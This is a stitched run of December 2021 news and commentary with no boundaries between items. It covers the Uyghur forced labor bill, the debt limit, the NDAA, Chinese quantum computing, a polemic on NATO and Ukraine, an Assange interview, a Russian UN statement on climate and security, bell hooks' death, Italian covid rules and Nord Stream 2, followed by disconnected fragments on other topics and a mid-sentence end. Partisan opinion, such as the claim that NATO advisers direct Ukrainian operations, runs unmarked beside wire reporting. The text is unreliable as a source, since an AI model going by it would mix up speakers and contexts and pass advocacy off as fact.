goods produced by Uyghur slave labor. After more than a year of negotiations, the Uyghur Forced Labor Prevention Act passed the U.S. Senate unanimously Thursday, clearing the way for President Joe Biden to sign the bill into law. Once it becomes law, the bill will ban all imports from Chinas Xinjiang region into the United States unless companies can show the U.S. government clear and convincing evidence their supply chains have not used the labor of ethnic Muslims enslaved in Chinese camps. Beijing describes the camps as "re-education" facilities aimed at combating terrorism. Democratic Representative Jim McGovern and Republican Senator Marco Rubio reached a compromise agreement on bills they had each passed in their respective chambers over the past year. The White House said Tuesday it would work closely with Congress to implement the measure. We agree with Congress that action can and must be taken to hold the Peoples Republic of China accountable for genocide and human rights abuses and to address forced labor in Xinjiang, White House press secretary Jen Psaki said in a statement ahead of House passage of the bill. The renewed push to hold China accountable for rights abuses comes ahead of the February 2022 Winter Olympics in Beijing. The U.S. declared Chinese treatment of the Uyghurs genocide earlier this year and announced a diplomatic boycott of the Winter Olympics last week. Earlier this month, an independent tribunal found Chinese senior leadership holds primary responsibility for acts of genocide against the Uyghurs. China condemned House passage of the bill early Wednesday, describing the U.S. as hypocritical for not addressing forced labor within its own borders. China firmly opposes the interference by the U.S. Congress in Chinas internal affairs under the pretext of Xinjiang-related issues. By cooking up lies and making troubles on such issues, some U.S. politicians are seeking to contain China and hold back Chinas development through political manipulation and economic bullying in the name of human rights, China's Foreign Ministry spokesperson, Zhao Lijian, said in a press conference Wednesday. Human rights groups praised the legislation and said it marked an important starting point for countries to address Chinese treatment of the Uyghurs. It's a signal to the rest of the world that the U.S. is actually going to take action on this, Peter Irwin, senior program officer for advocacy and communications at the Uyghur Human Rights Project, told VOA. It can also set a template for other governments to pick this up and say we're going to pass our own forced labor bill. For example, if the U.S. stops allowing in forced labor goods, then [Chinese] leaders shift their exports to Europe or to Canada. So having that template for other governments to pick up and actually pass these kinds of bills, that helps the U.S. similar to the diplomatic boycott. The U.S. was first; other governments followed. The original 2020 Senate version of the bill, co-sponsored by Rubio and Democratic Senator Jeff Merkley, marked the first time a bill addressing Uyghur human rights was passed anywhere in the world. U.S. companies Nike and Coca-Cola actively lobbied against earlier versions of the legislation. The Biden administration did come out in support of those versions, leading Rubio to claim the White House was holding back on his bill due to concerns from climate change envoy John Kerry. Irwin told VOA more than 40% of the worlds polysilicon supply comes from Xinjiang, a loss that would complicate the manufacture of solar cells and panels. Rubio praised the compromise legislation in a statement Tuesday, saying, The United States is so reliant on China that we have turned a blind eye to the slave labor that makes our clothes, our solar panels, and much more. That changes today. Our Uyghur Forced Labor Prevention Act will require businesses importing goods into the United States to prove that their supply chains are not tainted with slave labor. It is time to end our economic addiction to China. The legislation marks a rare point of bipartisan agreement on Capitol Hill. Democratic House Speaker Nancy Pelosi also praised the legislation, saying it marked an opportunity for the U.S. Congress to continue to condemn and confront the CCPs human rights abuses in Xinjiang and in the region and hold it accountable. If America does not speak out for human rights in China because of commercial interests, we lose all moral authority to speak out for human rights any place in the world, Pelosi said in a statement ahead of the vote. Lin Yang contributed to this report. The U.S. Congress has approved a measure raising the nations debt limit with near party-line votes to avoid an unprecedented default. President Joe Biden still needs to sign the legislation, the final step in the process that has divided Democrats and Republicans for months. The House of Representatives passed the debt limit increase early Wednesday by a vote of 221-209 with only one Republican voting in favor. Senate approval came Tuesday with 50 Democrats voting in favor and 49 Republicans opposing. Treasury Secretary Janet Yellen had warned lawmakers that her department could be left without enough money to finance the governments operations as early as Wednesday. The legislation raises the debt limit by $2.5 trillion dollars, which Senate Majority Leader Chuck Schumer said would allow finance the governments obligations past the 2022 midterm elections and into 2023. The U.S. government, whether under the control of Republicans, Democrats or divided power, regularly approves annual spending that exceeds the amount of money it receives in revenue. That creates further deficits and necessitates periodic increases in the debt limit. Congress has raised the debt limit nearly 80 times since 1960. Some information for this report came from the Associated Press and Reuters. The U.S. Senate voted overwhelmingly on Wednesday for a version of the National Defense Authorization Act, or NDAA, that authorizes $770 billion in defense spending $25 billion more than requested by President Joe Biden sending the measure to the White House for the president's signature. The vote was 89-10, with strong support from both Democrats and Republicans for the annual legislation setting policy for the Department of Defense. The House of Representatives passed it by 363-70 last week. Biden is expected to sign the bill, but the White House did not immediately respond to requests for comment on its passage on Wednesday. The NDAA is closely watched by a broad swath of industry and other interests because it is one of the only major pieces of legislation that becomes law every year and because it addresses a wide range of issues. The NDAA has become law every year for six decades. Authorizing about 5% more military spending than last year, the fiscal 2022 NDAA is a compromise after intense negotiations between House and Senate Democrats and Republicans after being stalled by disputes over China and Russia policy. It includes a 2.7% pay increase for the troops, and more aircraft and Navy ship purchases, in addition to strategies for dealing with geopolitical threats, especially Russia and China. The NDAA includes $300 million for the Ukraine Security Assistance Initiative, which provides support to Ukraine's armed forces, $4 billion for the European Defense Initiative and $150 million for Baltic security cooperation. On China, the bill includes $7.1 billion for the Pacific Deterrence Initiative and a statement of congressional support for the defense of Taiwan, as well as a ban on the Department of Defense procuring products produced with forced labor from China's Xinjiang region. It also includes an overhaul of the military justice system to take decisions on whether to prosecute cases of rape, sexual assault and some other major crimes out of the hands of military commanders. The change was a partial victory for activists because it did not strip military commanders of the authority to prosecute all felonies. It came after advocates led by Democratic Senator Kirsten Gillibrand waged a yearslong effort to change the system in response to the thousands of cases of sexual assault among service members, many of which are never prosecuted. The bill does not include some provisions included in earlier versions, notably one that would have required women to register for the military draft. The proposal had faced stiff opposition from a handful of socially conservative Republican lawmakers who thought it would erode traditional gender roles, threatening to stymie the entire NDAA. Chinas advances in quantum computing will give a new advantage to its armed forces, already the worlds third strongest, analysts say. Quantum refers to a type of computing that lets high-powered machines make calculations that are too complex for ordinary devices. The concept discovered by American physicist Richard Feynman in 1980 has two key military uses, the think tank International Institute for Strategic Studies said in a 2019 paper. It can decrypt encoded messages and send cryptographic keys that intercept otherwise secure communication chains, the study says. I think the challenge is basically in the dual civilian-military strategy of China where the government will enlist the private sector into its military modernization program, said Alexander Vuving, professor at the Daniel K. Inouye Asia-Pacific Center for Security Studies, in Hawaii. Also, the government of China spends a lot of money in research and development. Chinas name surfaced last month when IT consulting firm Booz Allen Hamilton said that within a decade Chinese threat groups will likely collect data that enables quantum simulators to discover new economically valuable materials, pharmaceuticals, and chemicals. China on the move Its unclear how far Chinese researchers have advanced quantum computing, but the Pentagons 2021 report to Congress on China says the Asian superpower continues its pursuit of leadership in key technologies with significant military potential. Chinas 14th Five-Year Plan, an economic blueprint, prioritizes quantum technology among other new fields, the report to Congress adds, and it intends to install satellite-enabled, global quantum-encrypted communications capability by 2030. Quantum could help detect submarines and stealth aircraft among other military vehicles, said Heather West, a senior research analyst with market research firm IDC in the U.S. state of Massachusetts. Quantum computing can break classical algorithms to check on another countrys military, she told VOA. The University of Science and Technology of China in Hefei last year made the first definitive demonstration of exploiting quantum mechanics for computations that would be prohibitively slow on classical computers, the science journal Nature reported. Google and NASA had claimed quantum supremacy in 2019. The state-run China Daily news website said in September the country had achieved a series of breakthroughs in quantum technology including the world's first quantum satellite, a 2,000-km quantum communication line between Beijing and Shanghai, and the world's first optical quantum computing machine prototype. China Daily did not mention military use. China has alarmed other countries in the past by merging civilian and military infrastructure, part of a Military-Civil Fusion Development Strategy that makes it hard for the outside world to judge when academic research will become an asset of the Peoples Liberation Army. Although quantum computing worldwide remains at a nascent stage, multiple countries are in a race to develop it, Vuving said. He points to the United States, India, Japan and Germany, in addition to China. Any frontrunners are unlikely to last long, he said, as rivals would quickly copy their breakthroughs. Multiple countries at risk? The Booz Allen Hamilton report says many organization leaders and chief information security officers "lack insight into the practical importance of quantum computing and how to manage related risks. They dont know how and when the technology might become useful and how it might shape the behavior of threat actors such as China, a persistent cyber adversary of government and commercial organizations globally and a major developer of quantum-computing technology, the report says. The Peoples Liberation Army maintains the worlds third-strongest armed forces after the United States and Russia, according to the GlobalFirePower.com database. Japan, Taiwan and other Southeast Asian countries fret particularly over the expansion of the PLA Navy in disputed tracts of sea. Washington has stepped up military movement in the same seas since 2019 to monitor Chinas activities. Taiwan, the United States or the European Union are all likely targets for China to launch quantum computing attacks as long as countries do not have robust quantum cryptography to defend, said Chen Yi-fan, assistant professor of diplomacy and international relations at Tamkang University in Taiwan. China is already suspected of using cyberattacks against Taiwan, a self-ruled island that Beijing says is part of its territory. In the military realm outside China, quantum computing forms part of the AUKUS military technology sharing deal among Australia, the U.K. and the U.S. announced in September over Beijings objections. In August 2020, the White House, National Science Foundation and Department of Energy announced it would award $625 million over five years for quantum R&D, the National Defense Industrial Association says. Were seeing a lot of research and development going into the Department of Defense in the U.S., West said. I dont think they would be pouring the money into it if they didnt think there was that potential. Researchers in Singapore, a well-off city-state, and Taiwan, a world tech hub, are exploring quantum technology as well. Smaller countries couldnt compete with Chinas quantum computing resources, said Carl Thayer, emeritus professor of politics at the University of New South Wales in Australia. They would need engineers, technicians and money, he said. Thats for the big boys, for the people with money, sophistication, knowledge. Other countries could toy around, but they wouldnt have the ability to go very far with it, I think, Thayer said. We accept many different kinds of announcements. Just click on the button below and submit a form. Go to forms Roger Wicker, a member of the US Senate Armed Services Committee, said in an interview with Fox News (December 8, 2021) that he would not rule out direct US military intervention against Russia to "defend Ukraine" and, without being asked by the interviewer, added: "You know we dont rule out nuclear action as a first use", i.e. to use nuclear weapons first. This is a cross-cutting message to Moscow about the determination of the United States to support a possible attack by Kiev on the Russians in Donbass. It would certainly be presented as retaliation for an attack by the Russians in Donbass. In the minds of those who have been carrying out the strategy of tension against Russia since 2014, such an attack would in any case be a winning act. Moscow would have two alternatives: not to intervene militarily in defence of the Russians in Donbass, allowing them to be overwhelmed by the NATO-backed Ukrainian attack and forced to abandon the region to take refuge in Russia, a decision that would be traumatic for Moscow above all internally; or to intervene militarily to stop the Ukrainian attack, exposing itself to international condemnation for aggression and invasion of a sovereign state. Ukrainian generals have warned that they will not be able to "repel Russian troops without a massive infusion of military aid from the West". The infusion has already begun: the US, which has already given Kiev $2.5 billion in military aid, provided it in November with another 88 tonnes of ammunition as part of a $60 million "package", including Javelin missiles already deployed against the Russians in the Donbass. At the same time, the US has sent more than 150 military advisers to Ukraine, who, together with those of a dozen NATO allies, are in fact directing operations. The situation is even more explosive because Ukraine - today a partner but, in fact, already a member of the Atlantic Alliance - could be officially admitted as the 31st member of NATO: and as a result, on the basis of Article 5 of the North Atlantic Treaty, the other 30 NATO members would have to intervene militarily on the Donbass front to support Ukraine against Russia. The Russian Foreign Ministry called on NATO not to admit Ukraine, so as not to further increase military and political tension in Europe, recalling that since the end of the Cold War, Russia has received repeated assurances that the Alliances jurisdiction and military forces would not be moved an inch eastwards, but that these promises have not been kept. The Russian Foreign Ministry then proposed to NATO to open negotiations for long-term agreements preventing further expansion of the Alliance to the East and the deployment of weapons systems in the immediate vicinity of Russian territory. The proposal was curtly rebuffed on December 10, by NATO Secretary General Jens Stoltenberg: "NATOs relationship with Ukraine will be decided by the 30 members of the Alliance and by Ukraine, and by no one else". Immediately afterwards, yesterday December 13, the G7 foreign ministers (US, Canada, UK, France, Germany, Italy, Japan) and the EU High Representative, who met in Liverpool, said they were "united in condemning Russias military build-up and aggressive rhetoric towards Ukraine" and that "Russia should be in no doubt that further military aggression against Ukraine would have massive consequences and serious costs". Meanwhile, Finland, an EU member and active NATO partner against Russia, has announced the purchase of 64 Lockheed Martin F-35A fighter jets for a price of 8.4 billion euros, which, with their infrastructure, amounts to 10 billion euros, to which the government will add another 10 billion euros for their maintenance and modernisation. The 64 F-35A nuclear attack aircraft will be deployed on Russias borders, just 200 km from St Petersburg, under the command of the US, which, as Senator Wicker reminds us, does not rule out the possibility of using nuclear weapons first. Mira Terada: Hello. Im glad to see you. Thank you very much for finding time for me. A couple of questions for you. The Court of England overturned the January decision of the Westminster Court, satisfying the demand of the American side to extradite Assange to the United States. The British court believed the United States, which claims that the accused will not be placed in a maximum-security prison either during the pre-trial proceedings or after sentencing. What do you think about how conscientiously the States will approach the fulfillment of their promises? What legal documents ensure their implementation? Kristinn Hrafnsson: Well, its quite obvious that these so-called assurances are absolutely useless and not worth the paper they are written on. It is not just my opinion, it is the opinion of Amnesty International and other human rights organizations that have looked into it and actually in accordance with the previous examples where its been known to happen, that so-called assurances by the United States are not upheld. So they are worth nothing. And inherently actually, if you look at the assurances they come with a caveat. They say actually that the United States retains the right to change their opinion at any given time. I just want to point out that there is one organization that can demand, for example, that a prisoner is put into isolation and that is the CIA. The CIA can ask the prison department to put Julian Assange into indefinite isolation. Now, if we look at the fact that since a few weeks ago, it was firmly established through investigative reporting that has not been refuted in any meaningful way that the CIA was a few years ago plotting to kidnap or even assassinate Julian Assange. It goes without saying that its totally unacceptable that a country like the United Kingdom should put his life and his future in the hands of the CIA, or indeed, the American government, who has not a good track record in holding up such promises that they have given. So the entire thing is just a farce is a tragedy that this is happening on the United Nations Human Rights Day, that we get this decision. It doesnt make any sense legally, and the entire case against Julian Assange doesnt make any sense legally, and there is a reason for that. It is not a criminal proceeding. It is a vindictive political persecution. Nothing else. M.T.: All attempts by Assanges supporters to support him were suppressed. In your opinion, what is the situation with the restriction of freedom of speech? K.H.: Well, there are restrictions on freedom of the press, and there are dangers that faces the journalist faces in the western world. It should not be overlooked. It is just simply horrible, horrible that the two countries, the United Kingdom and the United States, who are actually on this very day. Giving out the message that they are the vanguard of press freedom should team up in this travesty of justice against Julian Assange, a certified journalist, for more than a decade. This is happening also on the day when two journalists, two other journalists, are receiving the Nobel Peace Prize in Oslo. This is happening on the last day of the United States Democracy Summit, where the State Department of the US is trying to give out the message to the world that they are the defenders of democracy, which has this underlying base to press freedom. So we are seeing a very dangerous, manipulative game being played here, and the credibility of these two countries are very much at risk given that this attack on Julian Assange is happening as we speak. M.T.: Why is there still no movement calling for Assanges release? Are people unwilling or unable to support someone whom the US considers its enemy? K.H.: I disagree with the fact that there is no movement to fight for his release and the dropping of the charges. On the contrary, every major human right free speech and press freedom organization in the world has declared that the Biden administration should drop the charges against Julian Assange and that he should go free. I think there are more than two dozen organizations that have teamed up together on that front. All journalistic organizations, the International Federation of Journalists, the United Kingdom National Union of Journalists, Reporters Without Borders, etc., etc. See this as what it is a very serious attack on the world press freedom. So, there is movement. There is also movement among parliamentarians in the West who have signed declaration urging the Biden administration to drop the charges. Those declaration we have seen in the German Bundestag, in other parliaments, in France and Greece and Spain and Italy, in the United Kingdom, in Australia, in Iceland, etc., etc. So, people are worried people are seeing this as a grave threat and a grave precedent if this goes forward. There needs to be a bigger mobilization and a pressure on the power holders. We still havent seen a single Western government urging the Biden administration to drop the charges. However, under Angela Merkel, her human rights commissioner showed grave concerns for what was happening. We then have, of course, the President of Mexico offering Julian Assanges asylum. So, things are beginning to wake up, and its about time that the Biden administration in Washington wakes up as well and the people of the United States and sees this for what it is a very serious stain on the reputation on the Biden administration, which is continuing a legacy that was started by the Trump administration and his CIA director, Mike Pompeo, who later became secretary of state. There is no excuse anymore. The case must end and the charges must be dropped against Julian. It is not just a question about one mans life, although that is quite a reason enough to stop it. But the bigger picture is it is very grave. It is the most serious attack on press freedom in the western world in lots of times. M.T.: As we know, Julian faces 18 criminal charges and faces up to 175 years in prison. What do you think the court will eventually decide on his case? K.H.: It is just impossible to say, and what we know, of course, is that the Justice Department in the US decided to pursue the case in the court in the Western District of Virginia, where we know that a jury pool would be selected from individuals that most of them overall majority either have a direct connection with the administration, the Secret Service, etc. or have an indirect link there through family members, etc. So, there is a reason why that court is chosen. Its called the spy court because everybody who has been indicted there on these or similar trumped up espionage charges has been convicted. And so, there is a very bleak chance on that front. He is facing 18 charges cumulatively on one hundred and seventy-five years in prison. Seventeen of those charges are simply for possessing and receiving, possessing and publishing information, which is journalism by definition. It is not espionage. Its journalism. The remaining the remaining count is called hacking charge, which has been totally devastated because no hacking occurred. And even the key witness in the case supporting that hacking charge there are so-called hacking charges has now recanted his testimony or pointed out that what is maintained in that indictment has never happened in reality. So, this this entire case does not have a leg to stand on, and everyone who takes a good look at it sees what really is going on here, which is, as I say, a political persecution. Nothing else. The crime that is now being discussed here is the crime of journalism. M.T.: Assange informed the world about corruption among US government officials, espionage scandals and war crimes. Do you think the prosecution is pursuing personal motives by hunting him? K.H.: There is no doubt in my mind that the motivation behind this political persecution is a vendetta. This is vindictive action in every nature of it. That is what we have been telling and saying for years and years. This is nothing but the revenge of the Empire for the expose of uncomfortable truths about the reality of the United States. That is simply the fact of the matter. M.T.: On January 4, 2021, a court in London refused extradition to the United States, citing the fact that clinical depression and autism, which Assange suffers from, could force him to commit suicide. Why didnt the court take into account his mental health problems now? K.H.: They are actually taking that into account in the High Court. And they are actually dismissing the arguments by the United States lawyer that the court was somehow misled in the magistrate court or that the professor who did the psychiatric evaluation, who is a distinguished member of his profession in the UK, did somehow come to the wrong conclusion. The High Court does not disagree with that estimate, and it did not agree with what the United States lawyers were maintaining. However, they simply are saying that they are trusting the United States government to deal with a situation to that he would get adequate treatment, that he would not be put in solitary confinement, et cetera, et cetera, the so-called assurances which we have dealt with. So that is contradictory and that is very serious in nature, as the European head of Amnesty International just maintain this afternoon. They are basically willing to risk his life. Under the circumstances, by allowing him to be extradited. That is totally unacceptable. You dont gamble with peoples lives like that. Mr.President, As we repeatedly stated before, the draft resolution on climate and security which is under consideration today is unacceptable to Russia. Let me again explain our position. The co-sponsors did not and do not want to listen to our elaborations, nor did they want to talk meaningfully about that. They would not accept any arguments either from us or other SC and UN member states. We are opposed to establishing a new track of UNSC activities that asserts a generic automatic link between climate change and the international security, thus turning a scientific and socio-economic problem into a political issue. Draft resolutions provisions that suggest making this link the central component of UN conflict prevention strategies and mandates of peacekeeping and special political missions are fraught with a wide range of consequences. Firstly, consideration of climate change as a threat to international security diverts the attention of the Council from true root causes of conflicts in countries that stand on UNSC agenda. This comes in handy to the states who added to occurrence of such conflicts, engaged in hostilities in circumvention of SC mandates, or who simply do not want to render practical development assistance to the countries in need. It is noteworthy that the dire climate situation in many of the most vulnerable states is a direct consequence of the colonial policy that Western donors resorted to in the past. To them I must say: what a graceful idea it was to blame greenhouse gas emissions, as well as the Sun and the Moon for everything, while also shifting the responsibility to the developing states themselves. But you will not be able to pull it off today. Besides, when presenting climate as the source of political instability, our Western colleagues prefer paying no attention of the Security Council to the reverse side of such allegations, namely they refuse to consider the negative effects of conflicts for the environment. Loss of biodiversity, shrinking forestlands, use of chemical agents, soil pollution caused by military ventures of interfering in internal affairs of states require decades-long recovery and hardly contribute to mitigating the climate change. We stand ready to double our efforts to draw the attention of the Council to these problems. Secondly, instability in a concrete state or region is explained by a number of reasons that are very specific for every given case and can differ from one another by structure and the degree of impact. The draft resolution in front of is aimed neither at assistance to states nor at a concrete situation. Instead, it proposes a general approach that is caught up in climate despite the principles of the Rio Declaration and Agenda-2030. Earlier today I already addressed the initiators of the blame-shifting. Their task is clear. Now let me make a separate address to those who at the behest of the mentioned initiators believed that this lopsided climate-centered approach could be helpful. To make my point, I would like to cite a great Russian poet, Alexander Pushkin. He was one of the best to write about love. In one of his poems about a man who is very much in love, there is such a line: Ah, it is easy to deceive me!...I long to be deceived myself!.. Perhaps, many of the countries in need who look forward to receiving donors assistance have a somewhat elevated image of their prospective saviors. It is hard to give any advice here. However, we would suggest turning to history. Unfortunately, it says that donors rarely reciprocate favorable attitude. Yet we do not blame anyone. On the contrary, we have understanding. Many countries simply have no choice when donors impose such vision on them. After all, it is always easier to keep pace rather than try to see into the problem. Now back to the attempt to institute a range of climate-related mandates for political experts. Let me explain in detail why this is unacceptable. Proposedly, the impact of atmospheric changes on a concrete geographical location can be measured by peacekeepers upon completion of several career enhancement trainings over a short period. Then, as suggested, the results of this rather dubious assessment the impact on peace and security should be submitted to the Council in the form of UNSG reports. The quality and by far the conclusions of such reports at the very least would be doubtful. Besides, this approach is a slow-ticking bomb, which would make it possible to put virtually any state (which someone finds undesirable) on the SC agenda. Climate-related problems impact the whole world, so any pretext will do. The real climatic studies are a prerogative of climate scientists and hydrometeorologists. This sort of analytical work requires specialized expert education, technical equipment and enough time. Of course, to make political experts derive rash conclusions that would ultimately lead to an interference in internal affairs is much easier than to strengthen monitoring and early response systems for natural disasters in developing countries without any political motivation, isnt it? And surely much easier than to allocate the money as promised. Thirdly, mitigation of climate change and adaptation to its negative consequences is an issue of sustainable development. An absolute majority of those who spoke at the recent UNSC open debate organized by the Nigerien Presidency (though the meeting looked more like a session of ECOSOC or UNGAs Second Committee) affirmed in one way or another that there was nexus connecting climate change and socio-economic challenges. This is why substantive work needs to be done at specialized platforms, of which the UNFCCC is the main one. We find it particularly discouraging, Mr.President, that the draft resolution is put forward now, when UNSC members clearly have no consensus on that and when it has taken states enormous efforts to agree in Glasgow on how the Paris Agreement needs to be implemented, as well as measures that really need to be taken in order to counter the climate change. The climate agenda should play a unifying role to help all individual and collective efforts be a success rather than add more divisions, especially for political purposes. Mr.President, You are well aware that there is no consensus on the topic of the draft resolution that is put to vote today. You received letters of disagreement from many delegations, both members and non-members of the Security Council. They had expressed their objections either during the mentioned open debate of the Council or even earlier. We call on you to steer the Council clear of being divided on such a crucial topic. It is your responsibility as President to encourage adoption of effective decisions rather than deepen the controversies. I underscore that we are not just going down the path of denial. We have proposed an alternative decision; instead of a unilateral approach, we propose adopting a holistic one that should account for characteristic features of countries and regions. We were impressed by how many states expressed their concern over the challenges that the Sahel is confronted with. Let us then consider our alternative draft resolution. As we already said, the region of Sahel suffers from intertwined climatic, socio-economic and political threats that are exacerbated by terrorism and that need to be considered in one package, while taking into account the regional specifics. If we want to speak about the United Nations and its Security Council rendering real assistance, this is the approach that we must be guided by. Thank you. Photo: Karjean Levine/Getty Images The writer, scholar, and activist bell hooks, known for her influential work on Black feminism, died on December 15 at 69. She died surrounded by family and friends at her home in Berea, Kentucky, after an illness, according to a press release published by her niece, Ebony Motley. hooks was born Gloria Jean Watkins in Christian County, Kentucky, where she grew up before leaving to attend Stanford University. By 1981, she had taken on her pen name after her great-grandmother, in lowercase to deflect personal attention and published her book Aint I a Woman? Black Women and Feminism, titled after a speech by Sojourner Truth. The book became regarded as an important study in intersectionality for its focus on the historic marginalization of Black women. hooks went on to earn a doctorate in literature from the University of California Santa Cruz in 1983, where she wrote her dissertation on Toni Morrison. The family of @bellhooks is sad to announce the passing of our sister, aunt, great aunt and great great aunt. The author, professor, critic and feminist made her transition early this am from her home, surrounded by family and friends. Enter Ebony (@Enter_Ebony) December 15, 2021 hooks wrote over 40 books throughout her nearly five-decade career, including poetry and childrens literature alongside theory and criticism. Her bibliography also includes Feminist Theory: From Margin to Center, Breaking Bread: Insurgent Black Intellectual Life with Cornel West, Teaching to Transgress: Education As the Practice of Freedom, Belonging: A Culture of Place, and All About Love. She most recently published Uncut Funk: A Contemplative Dialogue with the late Marxist theorist Stuart Hall in 2018. In addition to her writing, hooks taught at Berea College, where she founded the bell hooks center in 2010. Many writers and intellectuals influenced by hooks paid tribute on social media following news of her death. She was an intellectual giant, spiritual genius & freest of persons! tweeted West, alongside photos with hooks. Her loss is incalculable, author Roxane Gay tweeted. The writer Tressie McMillan Cottom tweeted a quote from Feminist Theory, writing, The entirety of my intellectual and creative project is this. This sad season of massive deaths is nearly killing me! From my precious Mom to five eulogies in one week, and now my very dear sister bell hooks! She was an intellectual giant, spiritual genius & freest of persons! We shall never forget her! pic.twitter.com/mq72kUQhml Cornel West (@CornelWest) December 15, 2021 Oh my heart. bell hooks. May she rest in power. Her loss is incalculable. roxane gay (@rgay) December 15, 2021 Italian government extends emergency powers for three months. The Italian government on Tuesday night extended the nation's emergency powers until 31 March 2022, amid a rise in covid-19 cases. The state of emergency legislation, in place since 31 January 2020, expires at the end of this year. The state of emergency grants special powers to national and regional authorities in tackling the fallout from the coronavirus pandemic quickly, cutting through red tape to implement, modify or revoke urgent measures when required. Italy also unveiled new travel rules requiring all EU arrivals to undergo a covid test before departure, including those who are vaccinated. The new rules, in place from 16 December until 31 January, also oblige unvaccinated EU visitors to quarantine for five days on arrival. The move to extend Italy's emergency legislation was earlier welcomed by the leaders of the government's coalition parties - Enrico Letta of the centre-left Partito Democratico (PD) and Giuseppe Conte of the populist Movimento 5 Stelle. The leader of the right-wing Lega party Matteo Salvini, who up to a few days ago was strongly opposed to the move, had said he was "waiting for data" before declaring his view. Giorgia Meloni, leader of the far-right Fratelli d'Italia (FdI) in opposition, slammed the move, saying: "It is not an emergency." The extension of Italy's state of emergency comes after the introduction of the Super Green Pass, which excludes the unvaccinated from a range of activities, and the recent banning of No Vax demonstrations from city centres across Italy. For official information relating to the covid-19 situation in Italy - in English - see the health ministry website. Photo credit: Massimo Todaro / Shutterstock.com. All you need to know about Italy's latest travel restrictions. Italy now requires quarantine for unvaccinated EU visitors. All travellers to Italy from European Union countries must undergo a covid test before departure - including those who are vaccinated - under a new ordinance signed on Tuesday night by the Italian health minister Roberto Speranza. The new travel rules, in force from 16 December until 31 January, also include an obligation that unvaccinated visitors from EU countries quarantine for five days on arrival. Italy's decision to impose a covid test on people arriving from EU countries extends a requirement already in force for arrivals from many non-EU countries. The new travel rules, which come amid concerns over the spread of the Omicron variant of the coronavirus, have been criticised by EU authorities and tour operators in Italy. Italy's unexpected move appears to undermine the EU digital health certificate system of common travel rules in operation across the bloc. European Commission vice president Vera Jourova told reporters: "These individual decisions of the member states will damage ... the trust of the people that there are equal conditions everywhere in Europe." Also on Tuesday the government extended the nation's state of emergency - due to expire at the end of this year - until 31 March 2022. The legislation grants special powers to national and regional authorities in tackling the fallout from the coronavirus pandemic swiftly, cutting through red tape to implement, modify or revoke emergency measures when required. Italy's covid infections continue to rise, with more than 20,000 new cases and 120 covid-related deaths recorded on Tuesday. As of Wednesday more than 47 million people, or 88 per cent of the Italian population over the age of 12, have had at least one dose of the covid vaccine, according to the latest government data. For official information relating to the covid-19 situation in Italy - in English - see the health ministry website. Delays in certifying the controversial, newly completed Nord Stream 2 natural gas pipeline under the Baltic Sea between Russia and Germany have combined with market concerns about potential disruption of gas flows through Ukraine to drive natural gas prices higher. Nord Stream 2, opposed by the U.S. government because of concerns over Europes energy dependency on Russia, must clear political hurdles before it starts operating, but is also entangled in bureaucracy and will need to wait several more months to gain regulatory approval. At the same time a geopolitical crisis has been brewing as Russia has built up troops at the border with Ukraine. A potential invasion could come at the height of the European winter, according to U.S. and Ukrainian intelligence, although Putin has denied any such intention. The U.S. was pushing Germany to agree to stop Nord Stream 2 should Putin invade Ukraine, according to documents seen by Bloomberg and people familiar with the plans. Much of the activism against CRT has centered on elementary and secondary schools. In a survey of 1,100 teachers by the American Association of Educators in mid-2021, 96% of them said their schools didnt teach it; 45% said they were allowed to use CRT concepts in lesson plans if they wanted. As of early November, a dozen states had restricted schools from asking students to engage with race or sex in the classroom, all in the name of removing critical race theory from education. A handful of states were considering such measures, which had stalled or failed in several others. Randi Weingarten, the head of the American Federation of Teachers, said that culture warriors are bullying teachers and trying to stop us from teaching students accurate history. Nine states, by contrast, had adopted policies that mandate teaching on racism or the history of Black Americans or other people of color. This is bound to hasten acceptance of gene-edited foods, and indeed, markets are beginning to open up in some parts of the world: A Crispr tomato was released in Japan this fall, a Crispr strawberry is coming soon to the U.S. In laboratories, Crispr has been used to create heat-tolerant cattle, pest-resistant wine grapes, and drought-tolerant soy and corn. The upshot: Crispr java in your cup may be all but inevitable. Regulators and consumers especially in Europe have been understandably wary of genetic modification of our food. But if they want to ensure the future of coffee, they may to have to accept the advantages. Sound and lighting cues needed to be synced with the rotation of the carousel that moves the dioramas. The actors interpreting the adaptation, written by Oliver Emanuel, had to be timed with a stopwatch during recording sessions. And the computerized cues were programmed to allow for inevitable fluctuations in rotation speed. With 25 viewers seated around the carousel, Flight is basically 25 shows running simultaneously. We had a lot of R&D just to figure out how it would be programmed, even, Edmunds says. To the audiences eye, its very handmade and intimate and tiny, but theres a huge amount of tech powering it. Waldron told The Washington Post last week that he spoke to Meadows on multiple occasions but did not send him the PowerPoint, which Waldron described as the product of a huge team effort by individuals he did not name. He said that on Jan. 5, he and other members of the team briefed lawmakers on the document. The pandemic liberated us from certain traditions, Lichtenfels says. This year, she and her husband raced out the day after Thanksgiving and cut down an eight-foot Fraser fir to ensure they had a tree, but its smaller than what they had in pre-pandemic times, and she only hung half as many items on it, skipping her traditional ornament neighborhoods. (She also confesses to ditching some ornaments from the island of misfits the tacky pieces that were always hidden in the back.) Instead of installing the tree in the formal living room, where they rarely spend time, she stuck it in the kitchen, where we can see it from three rooms. Excited about her trees new look, she shared it on a story on social media. Within one minute of posting the tree on Instagram, I got a text from my youngest son that said, What are you doing? and a big sad emoji, she says. If the pandemic has taught us anything, its that we need to simplify our lives. Another reason its good to be an ersatz president instead of a real one: You have a veto on legislation that would affect the whole country, but only have to answer to voters in a single state. Manchinologists the sprawling network of friends, former staffers, close colleagues and journalists that chart his every move will say that the senator is motivated by some combination of what his thinks is good for West Virginia, an extraordinarily right-wing state; what is good for him in West Virginia; and a desire to make his current job more like his old job as governor, which he left 11 years ago to join the Senate and is known to pine for on occasion. When a hotel goes out of business or shuts down for renovations, it doesnt necessarily send out a news release. If the hotel is part of a chain, the company may move your reservation to another one of its properties. But unless you have a travel agent monitoring the situation, you may not know about it. So how do you find out? Mr. Katz was born in Brooklyn, N.Y. Early in his career, he worked for the Federal Aviation Administration on the installations of runway and approach-lighting systems at airports. This included Washington Dulles International Airport, which attracted him to the housing marketability of Northern Virginia. In 1971, he moved to Reston, where he built residential housing into the early 2000s. In recent years, he lived mostly in Florida, but he still maintained a home in Reston. He explained that, in order to mitigate the risk of the spread of covid-19 and to prioritize the health and safety of the U.S. traveling party and those they would otherwise come into contact with, the secretary would be returning to Washington, D.C., out of an abundance of caution. The staff of the commission granted approval of the deal in July 2020, when his counsel told the commission that Cuomo agreed to not use any state personnel or resources to produce his book. But complaints later surfaced that state property, resources and personnel were used to prepare, write, edit and publish the book. Cuomo has said state employees who helped with the book were volunteering. If the governor-elect wants to lower the cost of living in 